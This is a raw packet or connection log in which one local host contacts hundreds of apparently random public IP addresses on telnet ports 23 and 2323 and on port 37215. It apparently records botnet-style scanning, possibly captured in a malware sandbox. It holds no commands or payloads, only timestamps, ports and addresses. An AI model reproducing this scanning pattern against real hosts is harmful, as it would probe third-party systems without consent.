Dec 4, 2024 20:34:35.858292103 CET	60787	2323	192.168.2.14	20.151.162.140
Dec 4, 2024 20:34:35.858294010 CET	60787	23	192.168.2.14	27.2.136.198
Dec 4, 2024 20:34:35.858299017 CET	60787	23	192.168.2.14	170.223.205.26
Dec 4, 2024 20:34:35.858304977 CET	60787	23	192.168.2.14	170.183.65.33
Dec 4, 2024 20:34:35.858309984 CET	60787	23	192.168.2.14	126.62.31.80
Dec 4, 2024 20:34:35.858340025 CET	60787	23	192.168.2.14	19.90.99.31
Dec 4, 2024 20:34:35.858340979 CET	60787	23	192.168.2.14	164.95.71.1
Dec 4, 2024 20:34:35.858341932 CET	60787	23	192.168.2.14	42.58.176.1
Dec 4, 2024 20:34:35.858345032 CET	60787	2323	192.168.2.14	8.8.68.148
Dec 4, 2024 20:34:35.858345985 CET	60787	23	192.168.2.14	39.7.238.183
Dec 4, 2024 20:34:35.858345985 CET	60787	23	192.168.2.14	68.113.128.173
Dec 4, 2024 20:34:35.858352900 CET	60787	23	192.168.2.14	122.81.82.161
Dec 4, 2024 20:34:35.858360052 CET	60787	23	192.168.2.14	40.4.152.45
Dec 4, 2024 20:34:35.858366966 CET	60787	23	192.168.2.14	44.148.199.182
Dec 4, 2024 20:34:35.858371019 CET	60787	23	192.168.2.14	149.133.183.37
Dec 4, 2024 20:34:35.858372927 CET	60787	23	192.168.2.14	100.29.109.176
Dec 4, 2024 20:34:35.858388901 CET	60787	23	192.168.2.14	210.80.48.223
Dec 4, 2024 20:34:35.858390093 CET	60787	23	192.168.2.14	101.67.16.97
Dec 4, 2024 20:34:35.858390093 CET	60787	2323	192.168.2.14	118.236.109.67
Dec 4, 2024 20:34:35.858395100 CET	60787	23	192.168.2.14	160.241.131.227
Dec 4, 2024 20:34:35.858398914 CET	60787	23	192.168.2.14	36.255.187.69
Dec 4, 2024 20:34:35.858401060 CET	60787	23	192.168.2.14	204.228.206.214
Dec 4, 2024 20:34:35.858405113 CET	60787	23	192.168.2.14	124.48.160.9
Dec 4, 2024 20:34:35.858407974 CET	60787	23	192.168.2.14	103.97.251.31
Dec 4, 2024 20:34:35.858407974 CET	60787	23	192.168.2.14	189.203.33.40
Dec 4, 2024 20:34:35.858417034 CET	60787	23	192.168.2.14	36.34.22.40
Dec 4, 2024 20:34:35.858417034 CET	60787	23	192.168.2.14	164.145.51.97
Dec 4, 2024 20:34:35.858417034 CET	60787	23	192.168.2.14	151.247.147.255
Dec 4, 2024 20:34:35.858417034 CET	60787	2323	192.168.2.14	220.5.175.73
Dec 4, 2024 20:34:35.858422041 CET	60787	23	192.168.2.14	126.23.134.28
Dec 4, 2024 20:34:35.858422041 CET	60787	23	192.168.2.14	156.253.115.214
Dec 4, 2024 20:34:35.858422041 CET	60787	23	192.168.2.14	217.57.182.165
Dec 4, 2024 20:34:35.858423948 CET	60787	23	192.168.2.14	86.62.131.78
Dec 4, 2024 20:34:35.858424902 CET	60787	23	192.168.2.14	75.18.40.194
Dec 4, 2024 20:34:35.858423948 CET	60787	23	192.168.2.14	9.83.177.150
Dec 4, 2024 20:34:35.858423948 CET	60787	23	192.168.2.14	161.169.23.225
Dec 4, 2024 20:34:35.858431101 CET	60787	23	192.168.2.14	209.196.198.162
Dec 4, 2024 20:34:35.858431101 CET	60787	23	192.168.2.14	37.64.95.89
Dec 4, 2024 20:34:35.858437061 CET	60787	23	192.168.2.14	111.161.170.50
Dec 4, 2024 20:34:35.858444929 CET	60787	23	192.168.2.14	96.27.70.3
Dec 4, 2024 20:34:35.858445883 CET	60787	2323	192.168.2.14	184.121.41.200
Dec 4, 2024 20:34:35.858448029 CET	60787	23	192.168.2.14	31.191.19.85
Dec 4, 2024 20:34:35.858464003 CET	60787	23	192.168.2.14	8.38.127.4
Dec 4, 2024 20:34:35.858468056 CET	60787	23	192.168.2.14	151.128.43.112
Dec 4, 2024 20:34:35.858468056 CET	60787	23	192.168.2.14	59.6.60.89
Dec 4, 2024 20:34:35.858468056 CET	60787	23	192.168.2.14	108.114.23.255
Dec 4, 2024 20:34:35.858468056 CET	60787	23	192.168.2.14	2.242.244.179
Dec 4, 2024 20:34:35.858473063 CET	60787	23	192.168.2.14	112.42.106.24
Dec 4, 2024 20:34:35.858477116 CET	60787	23	192.168.2.14	72.32.201.210
Dec 4, 2024 20:34:35.858484983 CET	60787	23	192.168.2.14	43.243.16.31
Dec 4, 2024 20:34:35.858485937 CET	60787	2323	192.168.2.14	139.243.120.87
Dec 4, 2024 20:34:35.858490944 CET	60787	23	192.168.2.14	23.77.206.65
Dec 4, 2024 20:34:35.858496904 CET	60787	23	192.168.2.14	165.5.72.91
Dec 4, 2024 20:34:35.858500957 CET	60787	23	192.168.2.14	198.132.248.161
Dec 4, 2024 20:34:35.858515024 CET	60787	23	192.168.2.14	34.214.48.56
Dec 4, 2024 20:34:35.858515024 CET	60787	23	192.168.2.14	12.195.96.218
Dec 4, 2024 20:34:35.858520031 CET	60787	23	192.168.2.14	158.188.58.218
Dec 4, 2024 20:34:35.858534098 CET	60787	23	192.168.2.14	190.97.164.158
Dec 4, 2024 20:34:35.858536005 CET	60787	23	192.168.2.14	186.116.13.52
Dec 4, 2024 20:34:35.858536005 CET	60787	23	192.168.2.14	158.227.145.124
Dec 4, 2024 20:34:35.858550072 CET	60787	23	192.168.2.14	66.136.102.227
Dec 4, 2024 20:34:35.858552933 CET	60787	2323	192.168.2.14	107.89.110.255
Dec 4, 2024 20:34:35.858556032 CET	60787	23	192.168.2.14	96.194.182.4
Dec 4, 2024 20:34:35.858556032 CET	60787	23	192.168.2.14	96.94.97.203
Dec 4, 2024 20:34:35.858573914 CET	60787	23	192.168.2.14	194.211.212.42
Dec 4, 2024 20:34:35.858575106 CET	60787	23	192.168.2.14	187.94.148.41
Dec 4, 2024 20:34:35.858575106 CET	60787	23	192.168.2.14	153.180.227.73
Dec 4, 2024 20:34:35.858578920 CET	60787	23	192.168.2.14	76.29.111.228
Dec 4, 2024 20:34:35.858589888 CET	60787	23	192.168.2.14	77.245.252.92
Dec 4, 2024 20:34:35.858592033 CET	60787	2323	192.168.2.14	118.110.48.95
Dec 4, 2024 20:34:35.858593941 CET	60787	23	192.168.2.14	169.202.111.77
Dec 4, 2024 20:34:35.858593941 CET	60787	23	192.168.2.14	161.249.182.150
Dec 4, 2024 20:34:35.858598948 CET	60787	23	192.168.2.14	177.20.11.172
Dec 4, 2024 20:34:35.858598948 CET	60787	23	192.168.2.14	136.62.24.210
Dec 4, 2024 20:34:35.858609915 CET	60787	23	192.168.2.14	35.70.203.20
Dec 4, 2024 20:34:35.858611107 CET	60787	23	192.168.2.14	12.33.220.34
Dec 4, 2024 20:34:35.858620882 CET	60787	23	192.168.2.14	93.188.79.205
Dec 4, 2024 20:34:35.858623028 CET	60787	23	192.168.2.14	175.176.254.72
Dec 4, 2024 20:34:35.858628035 CET	60787	23	192.168.2.14	84.252.170.208
Dec 4, 2024 20:34:35.858637094 CET	60787	23	192.168.2.14	39.117.9.240
Dec 4, 2024 20:34:35.858643055 CET	60787	2323	192.168.2.14	124.30.41.135
Dec 4, 2024 20:34:35.858644009 CET	60787	23	192.168.2.14	195.6.201.46
Dec 4, 2024 20:34:35.858647108 CET	60787	23	192.168.2.14	194.213.225.74
Dec 4, 2024 20:34:35.858654022 CET	60787	23	192.168.2.14	154.154.46.115
Dec 4, 2024 20:34:35.858669043 CET	60787	23	192.168.2.14	35.210.215.188
Dec 4, 2024 20:34:35.858669043 CET	60787	23	192.168.2.14	196.218.171.76
Dec 4, 2024 20:34:35.858669996 CET	60787	23	192.168.2.14	41.254.252.21
Dec 4, 2024 20:34:35.858673096 CET	60787	23	192.168.2.14	182.10.176.201
Dec 4, 2024 20:34:35.858680010 CET	60787	23	192.168.2.14	118.196.250.83
Dec 4, 2024 20:34:35.858686924 CET	60787	2323	192.168.2.14	94.245.9.64
Dec 4, 2024 20:34:35.858689070 CET	60787	23	192.168.2.14	217.16.112.46
Dec 4, 2024 20:34:35.858704090 CET	60787	23	192.168.2.14	142.146.44.4
Dec 4, 2024 20:34:35.858705044 CET	60787	23	192.168.2.14	121.61.30.134
Dec 4, 2024 20:34:35.858705044 CET	60787	23	192.168.2.14	209.232.218.4
Dec 4, 2024 20:34:35.858716011 CET	60787	23	192.168.2.14	193.58.39.70
Dec 4, 2024 20:34:35.858724117 CET	60787	23	192.168.2.14	185.213.242.8
Dec 4, 2024 20:34:35.858727932 CET	60787	23	192.168.2.14	108.215.210.111
Dec 4, 2024 20:34:35.858728886 CET	60787	23	192.168.2.14	72.119.147.34
Dec 4, 2024 20:34:35.858730078 CET	60787	23	192.168.2.14	202.159.46.251
Dec 4, 2024 20:34:35.858743906 CET	60787	23	192.168.2.14	48.1.166.242
Dec 4, 2024 20:34:35.858779907 CET	60787	23	192.168.2.14	222.110.130.53
Dec 4, 2024 20:34:35.858779907 CET	60787	23	192.168.2.14	199.40.88.122
Dec 4, 2024 20:34:35.858779907 CET	60787	23	192.168.2.14	165.137.121.25
Dec 4, 2024 20:34:35.858782053 CET	60787	23	192.168.2.14	5.151.127.153
Dec 4, 2024 20:34:35.858782053 CET	60787	23	192.168.2.14	85.42.106.244
Dec 4, 2024 20:34:35.858783007 CET	60787	23	192.168.2.14	223.236.102.137
Dec 4, 2024 20:34:35.858783007 CET	60787	23	192.168.2.14	198.74.13.80
Dec 4, 2024 20:34:35.858786106 CET	60787	2323	192.168.2.14	202.13.193.118
Dec 4, 2024 20:34:35.858787060 CET	60787	23	192.168.2.14	9.246.33.232
Dec 4, 2024 20:34:35.858786106 CET	60787	23	192.168.2.14	223.9.169.251
Dec 4, 2024 20:34:35.858787060 CET	60787	23	192.168.2.14	166.237.186.251
Dec 4, 2024 20:34:35.858798027 CET	60787	23	192.168.2.14	220.17.253.104
Dec 4, 2024 20:34:35.858798027 CET	60787	2323	192.168.2.14	203.19.116.66
Dec 4, 2024 20:34:35.858798027 CET	60787	23	192.168.2.14	17.84.247.143
Dec 4, 2024 20:34:35.858798981 CET	60787	23	192.168.2.14	23.176.191.207
Dec 4, 2024 20:34:35.858802080 CET	60787	23	192.168.2.14	31.198.253.71
Dec 4, 2024 20:34:35.858802080 CET	60787	23	192.168.2.14	75.154.28.77
Dec 4, 2024 20:34:35.858808994 CET	60787	23	192.168.2.14	59.221.202.107
Dec 4, 2024 20:34:35.858812094 CET	60787	23	192.168.2.14	79.221.133.41
Dec 4, 2024 20:34:35.858820915 CET	60787	23	192.168.2.14	71.103.232.107
Dec 4, 2024 20:34:35.894351006 CET	40042	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:35.912179947 CET	37215	41842	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:35.912197113 CET	37215	44382	156.164.50.81	192.168.2.14
Dec 4, 2024 20:34:35.912251949 CET	41842	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:35.912252903 CET	44382	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.912353039 CET	60275	37215	192.168.2.14	41.238.60.31
Dec 4, 2024 20:34:35.912353039 CET	60275	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:35.912359953 CET	60275	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:35.912362099 CET	60275	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:35.912369967 CET	60275	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:35.912369967 CET	60275	37215	192.168.2.14	41.157.99.202
Dec 4, 2024 20:34:35.912380934 CET	60275	37215	192.168.2.14	197.204.244.73
Dec 4, 2024 20:34:35.912380934 CET	60275	37215	192.168.2.14	156.50.205.171
Dec 4, 2024 20:34:35.912395954 CET	60275	37215	192.168.2.14	156.155.21.92
Dec 4, 2024 20:34:35.912403107 CET	60275	37215	192.168.2.14	197.9.161.145
Dec 4, 2024 20:34:35.912403107 CET	60275	37215	192.168.2.14	197.25.72.135
Dec 4, 2024 20:34:35.912403107 CET	60275	37215	192.168.2.14	197.8.15.35
Dec 4, 2024 20:34:35.912403107 CET	60275	37215	192.168.2.14	41.237.66.197
Dec 4, 2024 20:34:35.912403107 CET	60275	37215	192.168.2.14	156.226.51.61
Dec 4, 2024 20:34:35.912403107 CET	60275	37215	192.168.2.14	197.130.170.254
Dec 4, 2024 20:34:35.912404060 CET	60275	37215	192.168.2.14	197.55.64.177
Dec 4, 2024 20:34:35.912404060 CET	60275	37215	192.168.2.14	156.97.244.203
Dec 4, 2024 20:34:35.912420988 CET	60275	37215	192.168.2.14	41.54.192.113
Dec 4, 2024 20:34:35.912424088 CET	60275	37215	192.168.2.14	41.119.11.207
Dec 4, 2024 20:34:35.912430048 CET	60275	37215	192.168.2.14	41.128.90.118
Dec 4, 2024 20:34:35.912430048 CET	60275	37215	192.168.2.14	156.26.48.151
Dec 4, 2024 20:34:35.912430048 CET	60275	37215	192.168.2.14	41.200.60.16
Dec 4, 2024 20:34:35.912441015 CET	60275	37215	192.168.2.14	197.200.107.17
Dec 4, 2024 20:34:35.912441969 CET	60275	37215	192.168.2.14	156.92.43.231
Dec 4, 2024 20:34:35.912446022 CET	60275	37215	192.168.2.14	156.89.206.40
Dec 4, 2024 20:34:35.912448883 CET	60275	37215	192.168.2.14	197.39.243.100
Dec 4, 2024 20:34:35.912460089 CET	60275	37215	192.168.2.14	156.161.187.169
Dec 4, 2024 20:34:35.912461042 CET	60275	37215	192.168.2.14	197.47.228.114
Dec 4, 2024 20:34:35.912463903 CET	60275	37215	192.168.2.14	197.161.35.101
Dec 4, 2024 20:34:35.912463903 CET	60275	37215	192.168.2.14	156.228.90.61
Dec 4, 2024 20:34:35.912463903 CET	60275	37215	192.168.2.14	197.14.85.58
Dec 4, 2024 20:34:35.912478924 CET	60275	37215	192.168.2.14	41.132.180.17
Dec 4, 2024 20:34:35.912482023 CET	60275	37215	192.168.2.14	156.79.57.3
Dec 4, 2024 20:34:35.912489891 CET	60275	37215	192.168.2.14	197.51.221.236
Dec 4, 2024 20:34:35.912492990 CET	60275	37215	192.168.2.14	197.80.159.69
Dec 4, 2024 20:34:35.912501097 CET	60275	37215	192.168.2.14	156.86.93.149
Dec 4, 2024 20:34:35.912502050 CET	60275	37215	192.168.2.14	197.166.166.173
Dec 4, 2024 20:34:35.912503958 CET	60275	37215	192.168.2.14	41.112.163.188
Dec 4, 2024 20:34:35.912508965 CET	60275	37215	192.168.2.14	156.160.69.163
Dec 4, 2024 20:34:35.912514925 CET	60275	37215	192.168.2.14	156.21.169.85
Dec 4, 2024 20:34:35.912513971 CET	60275	37215	192.168.2.14	41.171.107.68
Dec 4, 2024 20:34:35.912516117 CET	60275	37215	192.168.2.14	156.178.76.84
Dec 4, 2024 20:34:35.912514925 CET	60275	37215	192.168.2.14	41.135.29.71
Dec 4, 2024 20:34:35.912522078 CET	60275	37215	192.168.2.14	156.79.122.148
Dec 4, 2024 20:34:35.912528038 CET	60275	37215	192.168.2.14	156.243.39.194
Dec 4, 2024 20:34:35.912528038 CET	60275	37215	192.168.2.14	197.171.195.28
Dec 4, 2024 20:34:35.912530899 CET	60275	37215	192.168.2.14	41.225.13.47
Dec 4, 2024 20:34:35.912530899 CET	60275	37215	192.168.2.14	197.241.161.97
Dec 4, 2024 20:34:35.912530899 CET	60275	37215	192.168.2.14	197.145.105.67
Dec 4, 2024 20:34:35.912530899 CET	60275	37215	192.168.2.14	41.156.140.165
Dec 4, 2024 20:34:35.912530899 CET	60275	37215	192.168.2.14	156.115.11.130
Dec 4, 2024 20:34:35.912533998 CET	60275	37215	192.168.2.14	156.78.194.153
Dec 4, 2024 20:34:35.912539959 CET	60275	37215	192.168.2.14	156.23.142.55
Dec 4, 2024 20:34:35.912539959 CET	60275	37215	192.168.2.14	197.12.104.245
Dec 4, 2024 20:34:35.912547112 CET	60275	37215	192.168.2.14	156.127.59.174
Dec 4, 2024 20:34:35.912549019 CET	60275	37215	192.168.2.14	41.189.136.204
Dec 4, 2024 20:34:35.912549019 CET	60275	37215	192.168.2.14	156.208.247.234
Dec 4, 2024 20:34:35.912554979 CET	60275	37215	192.168.2.14	197.102.225.58
Dec 4, 2024 20:34:35.912559032 CET	60275	37215	192.168.2.14	156.180.225.160
Dec 4, 2024 20:34:35.912561893 CET	60275	37215	192.168.2.14	41.59.155.240
Dec 4, 2024 20:34:35.912561893 CET	60275	37215	192.168.2.14	197.46.241.75
Dec 4, 2024 20:34:35.912575960 CET	60275	37215	192.168.2.14	197.218.124.225
Dec 4, 2024 20:34:35.912576914 CET	60275	37215	192.168.2.14	156.136.60.5
Dec 4, 2024 20:34:35.912581921 CET	60275	37215	192.168.2.14	156.123.79.102
Dec 4, 2024 20:34:35.912591934 CET	60275	37215	192.168.2.14	197.105.51.136
Dec 4, 2024 20:34:35.912591934 CET	60275	37215	192.168.2.14	41.92.236.67
Dec 4, 2024 20:34:35.912594080 CET	60275	37215	192.168.2.14	41.231.159.33
Dec 4, 2024 20:34:35.912599087 CET	60275	37215	192.168.2.14	41.214.98.26
Dec 4, 2024 20:34:35.912600994 CET	60275	37215	192.168.2.14	41.29.108.70
Dec 4, 2024 20:34:35.912602901 CET	60275	37215	192.168.2.14	156.89.254.102
Dec 4, 2024 20:34:35.912604094 CET	60275	37215	192.168.2.14	41.87.74.62
Dec 4, 2024 20:34:35.912604094 CET	60275	37215	192.168.2.14	156.38.80.109
Dec 4, 2024 20:34:35.912604094 CET	60275	37215	192.168.2.14	197.213.27.115
Dec 4, 2024 20:34:35.912604094 CET	60275	37215	192.168.2.14	156.89.201.146
Dec 4, 2024 20:34:35.912607908 CET	60275	37215	192.168.2.14	197.33.172.17
Dec 4, 2024 20:34:35.912620068 CET	60275	37215	192.168.2.14	41.133.52.244
Dec 4, 2024 20:34:35.912622929 CET	60275	37215	192.168.2.14	197.114.246.9
Dec 4, 2024 20:34:35.912628889 CET	60275	37215	192.168.2.14	156.167.179.158
Dec 4, 2024 20:34:35.912633896 CET	60275	37215	192.168.2.14	156.125.23.10
Dec 4, 2024 20:34:35.912636995 CET	60275	37215	192.168.2.14	197.141.200.169
Dec 4, 2024 20:34:35.912641048 CET	60275	37215	192.168.2.14	197.157.165.184
Dec 4, 2024 20:34:35.912643909 CET	60275	37215	192.168.2.14	41.169.96.221
Dec 4, 2024 20:34:35.912643909 CET	60275	37215	192.168.2.14	197.104.113.4
Dec 4, 2024 20:34:35.912655115 CET	60275	37215	192.168.2.14	41.11.228.146
Dec 4, 2024 20:34:35.912659883 CET	60275	37215	192.168.2.14	156.74.51.220
Dec 4, 2024 20:34:35.912659883 CET	60275	37215	192.168.2.14	156.35.152.147
Dec 4, 2024 20:34:35.912667990 CET	60275	37215	192.168.2.14	156.220.106.155
Dec 4, 2024 20:34:35.912669897 CET	60275	37215	192.168.2.14	156.250.0.114
Dec 4, 2024 20:34:35.912676096 CET	60275	37215	192.168.2.14	41.154.16.178
Dec 4, 2024 20:34:35.912677050 CET	60275	37215	192.168.2.14	156.19.113.119
Dec 4, 2024 20:34:35.912678957 CET	60275	37215	192.168.2.14	197.195.118.29
Dec 4, 2024 20:34:35.912687063 CET	60275	37215	192.168.2.14	197.59.102.12
Dec 4, 2024 20:34:35.912698030 CET	60275	37215	192.168.2.14	197.59.107.139
Dec 4, 2024 20:34:35.912702084 CET	60275	37215	192.168.2.14	197.43.86.228
Dec 4, 2024 20:34:35.912704945 CET	60275	37215	192.168.2.14	41.162.219.115
Dec 4, 2024 20:34:35.912707090 CET	60275	37215	192.168.2.14	197.71.9.92
Dec 4, 2024 20:34:35.912708998 CET	60275	37215	192.168.2.14	156.26.86.172
Dec 4, 2024 20:34:35.912710905 CET	60275	37215	192.168.2.14	41.117.97.11
Dec 4, 2024 20:34:35.912715912 CET	60275	37215	192.168.2.14	197.15.142.132
Dec 4, 2024 20:34:35.912734985 CET	60275	37215	192.168.2.14	197.95.130.135
Dec 4, 2024 20:34:35.912734985 CET	60275	37215	192.168.2.14	156.70.39.223
Dec 4, 2024 20:34:35.912734985 CET	60275	37215	192.168.2.14	197.34.64.159
Dec 4, 2024 20:34:35.912735939 CET	60275	37215	192.168.2.14	156.180.247.0
Dec 4, 2024 20:34:35.912740946 CET	60275	37215	192.168.2.14	41.11.84.230
Dec 4, 2024 20:34:35.912740946 CET	60275	37215	192.168.2.14	156.41.188.17
Dec 4, 2024 20:34:35.912741899 CET	60275	37215	192.168.2.14	41.58.52.115
Dec 4, 2024 20:34:35.912740946 CET	60275	37215	192.168.2.14	41.213.123.173
Dec 4, 2024 20:34:35.912741899 CET	60275	37215	192.168.2.14	156.161.106.177
Dec 4, 2024 20:34:35.912744999 CET	60275	37215	192.168.2.14	156.212.224.123
Dec 4, 2024 20:34:35.912753105 CET	60275	37215	192.168.2.14	156.116.200.191
Dec 4, 2024 20:34:35.912753105 CET	60275	37215	192.168.2.14	41.70.59.78
Dec 4, 2024 20:34:35.912765026 CET	60275	37215	192.168.2.14	41.170.61.34
Dec 4, 2024 20:34:35.912765026 CET	60275	37215	192.168.2.14	41.7.215.90
Dec 4, 2024 20:34:35.912765980 CET	60275	37215	192.168.2.14	41.102.18.27
Dec 4, 2024 20:34:35.912767887 CET	60275	37215	192.168.2.14	41.81.65.231
Dec 4, 2024 20:34:35.912766933 CET	60275	37215	192.168.2.14	41.11.199.253
Dec 4, 2024 20:34:35.912767887 CET	60275	37215	192.168.2.14	41.107.16.99
Dec 4, 2024 20:34:35.912780046 CET	60275	37215	192.168.2.14	41.1.83.174
Dec 4, 2024 20:34:35.912780046 CET	60275	37215	192.168.2.14	156.22.89.236
Dec 4, 2024 20:34:35.912785053 CET	60275	37215	192.168.2.14	41.251.36.184
Dec 4, 2024 20:34:35.912791014 CET	60275	37215	192.168.2.14	156.187.2.85
Dec 4, 2024 20:34:35.912791967 CET	60275	37215	192.168.2.14	197.13.226.158
Dec 4, 2024 20:34:35.912797928 CET	60275	37215	192.168.2.14	197.219.119.75
Dec 4, 2024 20:34:35.912798882 CET	60275	37215	192.168.2.14	156.213.45.193
Dec 4, 2024 20:34:35.912811041 CET	60275	37215	192.168.2.14	156.230.242.237
Dec 4, 2024 20:34:35.912816048 CET	60275	37215	192.168.2.14	197.163.160.209
Dec 4, 2024 20:34:35.912822962 CET	60275	37215	192.168.2.14	156.233.197.59
Dec 4, 2024 20:34:35.912826061 CET	60275	37215	192.168.2.14	156.31.13.149
Dec 4, 2024 20:34:35.912837029 CET	60275	37215	192.168.2.14	156.24.142.242
Dec 4, 2024 20:34:35.912844896 CET	60275	37215	192.168.2.14	197.15.43.73
Dec 4, 2024 20:34:35.912846088 CET	60275	37215	192.168.2.14	197.11.223.236
Dec 4, 2024 20:34:35.912846088 CET	60275	37215	192.168.2.14	197.179.216.211
Dec 4, 2024 20:34:35.912846088 CET	60275	37215	192.168.2.14	197.86.35.128
Dec 4, 2024 20:34:35.912848949 CET	60275	37215	192.168.2.14	41.70.176.193
Dec 4, 2024 20:34:35.912852049 CET	37215	58000	197.208.202.223	192.168.2.14
Dec 4, 2024 20:34:35.912858963 CET	60275	37215	192.168.2.14	156.136.190.69
Dec 4, 2024 20:34:35.912866116 CET	60275	37215	192.168.2.14	41.216.145.77
Dec 4, 2024 20:34:35.912868023 CET	60275	37215	192.168.2.14	156.172.121.124
Dec 4, 2024 20:34:35.912868977 CET	60275	37215	192.168.2.14	156.190.248.22
Dec 4, 2024 20:34:35.912868977 CET	60275	37215	192.168.2.14	156.47.253.246
Dec 4, 2024 20:34:35.912869930 CET	60275	37215	192.168.2.14	41.117.88.20
Dec 4, 2024 20:34:35.912869930 CET	60275	37215	192.168.2.14	156.209.193.177
Dec 4, 2024 20:34:35.912869930 CET	60275	37215	192.168.2.14	156.206.55.108
Dec 4, 2024 20:34:35.912869930 CET	60275	37215	192.168.2.14	41.59.37.234
Dec 4, 2024 20:34:35.912874937 CET	60275	37215	192.168.2.14	41.116.246.156
Dec 4, 2024 20:34:35.912893057 CET	58000	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.912893057 CET	60275	37215	192.168.2.14	41.6.237.64
Dec 4, 2024 20:34:35.912893057 CET	60275	37215	192.168.2.14	197.176.7.168
Dec 4, 2024 20:34:35.912894011 CET	60275	37215	192.168.2.14	197.125.164.180
Dec 4, 2024 20:34:35.912905931 CET	60275	37215	192.168.2.14	41.238.254.146
Dec 4, 2024 20:34:35.912911892 CET	60275	37215	192.168.2.14	41.143.223.207
Dec 4, 2024 20:34:35.912911892 CET	60275	37215	192.168.2.14	41.157.93.94
Dec 4, 2024 20:34:35.912914038 CET	60275	37215	192.168.2.14	197.221.142.100
Dec 4, 2024 20:34:35.912928104 CET	60275	37215	192.168.2.14	156.159.192.102
Dec 4, 2024 20:34:35.912930965 CET	60275	37215	192.168.2.14	197.24.182.241
Dec 4, 2024 20:34:35.912931919 CET	60275	37215	192.168.2.14	41.157.79.124
Dec 4, 2024 20:34:35.912931919 CET	60275	37215	192.168.2.14	156.36.225.76
Dec 4, 2024 20:34:35.912935019 CET	60275	37215	192.168.2.14	41.248.188.254
Dec 4, 2024 20:34:35.912936926 CET	60275	37215	192.168.2.14	156.183.90.199
Dec 4, 2024 20:34:35.912938118 CET	60275	37215	192.168.2.14	41.121.33.149
Dec 4, 2024 20:34:35.912942886 CET	60275	37215	192.168.2.14	156.100.143.89
Dec 4, 2024 20:34:35.912944078 CET	60275	37215	192.168.2.14	41.235.213.44
Dec 4, 2024 20:34:35.913017988 CET	44382	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.913017988 CET	44382	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.913424969 CET	37215	36678	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:35.913464069 CET	36678	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.913518906 CET	44450	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.913851023 CET	58000	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.913870096 CET	58000	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.913937092 CET	37215	53640	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:35.913978100 CET	53640	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.914179087 CET	58068	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.914558887 CET	36678	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.914558887 CET	36678	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.914813995 CET	36746	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.915044069 CET	37215	51686	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:35.915085077 CET	51686	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.915189028 CET	53640	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.915189028 CET	53640	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.915456057 CET	53708	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.915546894 CET	37215	45612	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:35.915581942 CET	45612	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.915817976 CET	51686	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.915817976 CET	51686	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.916069031 CET	51754	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.916137934 CET	37215	35092	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:35.916178942 CET	35092	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.916455984 CET	45612	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.916455984 CET	45612	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.916701078 CET	45680	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.917011976 CET	35092	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.917011976 CET	35092	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.917295933 CET	35160	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.924345016 CET	37215	48222	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:35.924392939 CET	48222	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.924422026 CET	48222	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.924422026 CET	48222	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.924806118 CET	48270	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.926193953 CET	37215	55290	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:35.926228046 CET	55290	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:35.931868076 CET	37215	60804	156.115.90.119	192.168.2.14
Dec 4, 2024 20:34:35.931931019 CET	60804	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.931961060 CET	60804	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.931961060 CET	60804	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.932291031 CET	60826	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.932344913 CET	37215	41842	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:35.932353973 CET	37215	41842	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:35.932974100 CET	37215	55290	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:35.933136940 CET	37215	55290	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:35.958344936 CET	42398	2323	192.168.2.14	180.191.196.252
